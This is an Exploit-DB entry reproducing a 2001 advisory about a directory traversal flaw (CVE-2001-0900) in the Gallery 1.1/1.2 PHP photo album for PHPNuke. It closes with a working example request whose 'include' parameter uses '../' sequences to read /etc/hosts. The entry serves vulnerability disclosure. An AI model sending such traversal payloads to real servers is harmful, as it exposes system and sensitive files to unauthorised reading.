bharat mediratta gallery 1.1/1.2 - Directory Traversal Vulnerability

2001-11-19T00:00:00
ID EDB-ID:21157
Type exploitdb
Reporter Cabezon Aurelien
Modified 2001-11-19T00:00:00

Description

Bharat Mediratta Gallery 1.1/1.2 Directory Traversal Vulnerability. CVE-2001-0900. Webapps exploit for php platform

                                        
                                            source: http://www.securityfocus.com/bid/3554/info

Bharat Mediratta Gallery is a free, open source web-based photo album which may be used as an add-on for the PHPNuke web portal.

Due to insufficient validation of user-supplied input, it is be possible to view arbitrary web-readable files via a specially crafted web request which contains '../' sequences.

This issue may allow a remote attacker to gather sensitive information which may be used in directed and organized attacks against a host running the Gallery software.

http://www.somehost.com/modules.php?set_albumName=album01&id=aaw&op=modload&name=gallery&file=index&include=../../../../../../etc/hosts